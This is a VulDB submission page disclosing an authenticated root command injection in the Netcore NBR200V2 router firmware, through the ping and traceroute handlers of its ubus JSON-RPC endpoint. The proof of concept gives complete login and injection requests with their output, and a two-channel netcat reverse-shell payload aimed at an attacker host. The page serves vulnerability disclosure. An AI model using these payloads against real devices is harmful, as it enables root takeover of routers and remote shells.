Отправить #920180: Netcore磊科 Router Firmware NBR200V2_V1.3.241127.071246 Command Injection

An authenticated command injection vulnerability (CWE-78) was identified in the Netcore NBR200V2 router, firmware version V1.3.241127.071246 (LEDE 17.01, mipsel / MT7621).

The web stack (uhttpd, ports 80/443/23355) exposes a ubus JSON-RPC endpoint at /ubus. The tools_ping handler of the /usr/bin/network_tools service (ubus object "network_tools", running as root) takes the user-controlled "url" parameter and passes it without any sanitization into a command template executed via system():

snprintf(buf, ..., "(ping %s -c %d -s %d > %s; touch %s)&", url, count, size, ...);
system(buf);

A url value such as ;<cmd>; terminates the ping command and injects an arbitrary OS command with root privileges (captured on device: sh -c "(ping ;id>/tmp/pwn; -c 1 -s 56 > /tmp/.ping.txt; touch /tmp/.ping_end)&"). The sibling method tools_traceroute in the same binary shares the same vulnerable pattern (traceroute %s ... templates).

Exploitation requires a valid session, obtained via the session.login ubus method with the web credentials configured during device setup; the method is not exposed to unauthenticated sessions by the rpcd ACL (verified: null-session calls receive "Access denied").

Proof of concept:

Step 1 - login:
POST /ubus HTTP/1.1
{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"root","password":"<password>"}]}
Response: {"jsonrpc":"2.0","id":1,"result":[0,{"ubus_rpc_session":"<32-hex>",...}]}

Step 2 - command injection (writes id output to /tmp/pwn):
POST /ubus HTTP/1.1
{"jsonrpc":"2.0","id":1,"method":"call","params":["<32-hex-session>","network_tools","tools_ping",{"action":"start","url":";id>/tmp/pwn;","count":1,"size":56,"wanid":1}]}
Response: {"jsonrpc":"2.0","id":1,"result":[0]}
The file /tmp/pwn on the device then contains: uid=0(root) gid=0(root) groups=0(root)

A reverse shell is obtainable despite the firmware busybox nc lacking -e, using a two-channel scheme in the url value:
;tail -f /dev/null|nc <LHOST> <LPORT1>|/bin/sh|nc <LHOST> <LPORT2>;

The vulnerability was dynamically verified against the firmware emulated with qemu-mipsel user-mode emulation; arbitrary commands were executed with root privileges, and an interactive root reverse shell back to the attacker host was confirmed. Further details are available in the referenced GitHub advisory.

• Источник: ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NBR200V2_V1.3.241127.071246%20Router/Netcore_NBR200V2_tools_ping_command_injection.md
• Пользователь: llsss (UID 96233)
• Представление: 10.08.2026 11:10 (2 месяцы назад)
• Модерация: 27.09.2026 12:25 (2 months later)
• Статус: принято
• Запись VulDB: 410872 [Netcore NBR200V2 1.3.241127.071246 Tools Ping /usr/bin/network_tools system url эскалация привилегий]
• Баллы: 20